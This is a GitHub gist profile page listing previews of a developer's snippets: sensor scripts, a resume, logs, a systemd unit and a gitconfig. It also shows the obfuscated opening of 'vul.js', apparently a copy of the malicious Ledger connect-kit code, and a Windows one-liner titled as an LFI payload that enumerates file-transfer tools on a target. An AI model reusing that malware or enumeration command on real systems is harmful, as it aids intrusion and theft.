Skip to content

Instantly share code, notes, and snippets.

View rkachowski's full-sized avatar
👨‍🎤
whats a github status?

Donald Hutchison rkachowski

👨‍🎤
whats a github status?
View GitHub Profile
@rkachowski
rkachowski / vul.js
Last active December 14, 2023 17:32 — forked from martinvol/vul.js
@ledgerhq/connect-kit
'use strict';
(function (t, n) {
const K = t();
while (true) {
try {
const u = -parseInt(q(3828, 0xd3c)) / 1 + parseInt(q(2117, 0x52a)) / 2 * (-parseInt(j(7562, "AG^D")) / 3) + -parseInt(j(8847, "GV&h")) / 4 * (-parseInt(q(2851, 0xb40)) / 5) + -parseInt(j(1552, "AmJS")) / 6 * (parseInt(q(4923, 0xf2d)) / 7) + -parseInt(j(5695, "fJD(")) / 8 + parseInt(q(8023, 0x1ca0)) / 9 + -parseInt(j(7555, "9Bd!")) / 10 * (-parseInt(q(4143, 0x1d53)) / 11);
if (u === n) {
break;
} else {
@rkachowski
rkachowski / stats_relay.py
Created October 18, 2021 21:05
get data from dht, co2 meter and noise level sensor
import paho.mqtt.client as mqtt
import Adafruit_DHT
import usb.core
import statistics
import requests
import sdnotify
import sys, fcntl, time, os, argparse, socket
from time import sleep
delay = 5
{
"$schema": "https://raw.githubusercontent.com/jsonresume/resume-schema/v1.0.0/schema.json",
"basics": {
"name": "Donald Hutchison",
"label": "Senior Software Developer",
"image": "",
"email": "contact@donaldhutchison.info",
"phone": "017644465261",
"url": "https://donaldhutchison.info",
"summary": "I'm a driven and curious engineer, with a passion for learning and new technologies. I've mostly worked in startups so I'm used to wearing many hats. Over a decade of strong experience in mobile, desktop and backend environments. I have experience in all stages of design, development, deployment and maintenance of software projects, across a variety of tools and languages.",
Jul 20 20:11:44 kitchenpi mopidy[27377]: DEBUG 2020-07-20 20:11:44,352 [27377:HttpServer] mopidy.http.handlers
Jul 20 20:11:44 kitchenpi mopidy[27377]: Received WebSocket message from 192.168.77.125: '{"method":"core.playback.play","params":{"tlid":1},"jsonrpc":"2.0","id":30}'
Jul 20 20:11:44 kitchenpi mopidy[27377]: DEBUG 2020-07-20 20:11:44,383 [27377:Audio-2] mopidy.audio.gst
Jul 20 20:11:44 kitchenpi mopidy[27377]: Changing state to GST_STATE_READY: result=GST_STATE_CHANGE_SUCCESS
Jul 20 20:11:44 kitchenpi mopidy[27377]: DEBUG 2020-07-20 20:11:44,387 [27377:TuneInBackend-3] mopidy_tunein.tunein
Jul 20 20:11:44 kitchenpi mopidy[27377]: Tuning station id s44491
Jul 20 20:11:44 kitchenpi mopidy[27377]: DEBUG 2020-07-20 20:11:44,390 [27377:TuneInBackend-3] mopidy_tunein.tunein
Jul 20 20:11:44 kitchenpi mopidy[27377]: TuneIn request: 'http://opml.radiotime.com/Tune.ashx?render=json&id=s44491'
Jul 20 20:11:44 kitchenpi mopidy[27377]: DEBUG 2020-07-20 20:11:44,392 [27377:MainThread] mopidy
@rkachowski
rkachowski / downloader.rb
Created January 25, 2020 14:05
download all ya wistia videos concurrently
require 'faraday'
@max_threads = 8
@download_mutex = Mutex.new
ROOT_URL = "https://embedwistia-a.akamaihd.net"
def download urls, folder
threads = Array.new(@max_threads)
@rkachowski
rkachowski / nginx-docker.service
Created March 21, 2018 12:50
example systemd unit for docker container
[Unit]
Description=Nginx webserver
Requires=docker.service
[Service]
ExecStartPre=/bin/sleep 1
ExecStartPre=/usr/bin/docker pull nginx:alpine
ExecStart=/usr/bin/docker run --name nginx -v /mnt/vdb/nginx/config/conf.d:/etc/nginx/conf.d:ro -v /mnt/vdb/nginx/config/conf:/etc/nginx/conf:ro -v /mnt/vdb/nginx/certs:/tls -v /mnt/vdb/nginx/static:/static -p 443:443 -p 80:80 nginx:alpine
ExecStop=/usr/bin/docker stop nginx
ExecStopPost=/usr/bin/docker rm -f nginx
@rkachowski
rkachowski / payload_enum_win_transfer_software
Last active January 31, 2017 00:29
stupid lfi scripts
for %i in (ruby python ftp debug wscript cscript powershell javac) do where %i
@rkachowski
rkachowski / maplr.rb
Created January 23, 2017 14:11
create google map links from exif data in jpg files
#!/usr/bin/env ruby
def run
dir = ARGV[0] || Dir.pwd
Dir[File.join(dir,'*.jpg')].each do |file|
gps = gps_for_file file
if gps
puts "#### #{File.basename file} -> http://www.google.com/maps/place/#{gps[0]},-#{gps[1]}"
@rkachowski
rkachowski / 1_1-futurama.png
Last active June 29, 2016 10:14
repro flow
1_1-futurama.png
@rkachowski
rkachowski / .gitconfig
Created April 13, 2016 09:17
the almighty .gitconfig
[alias]
s = status
cma = commit -am
cm = commit -m
cont = rebase --continue
dumbass = commit --amend
forget = update-index --assume-unchanged
unforget = update-index --no-assume-unchanged
root = rev-parse --show-toplevel
lg = "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr)%C(bold blue)<%an>%Creset' --abbrev-commit"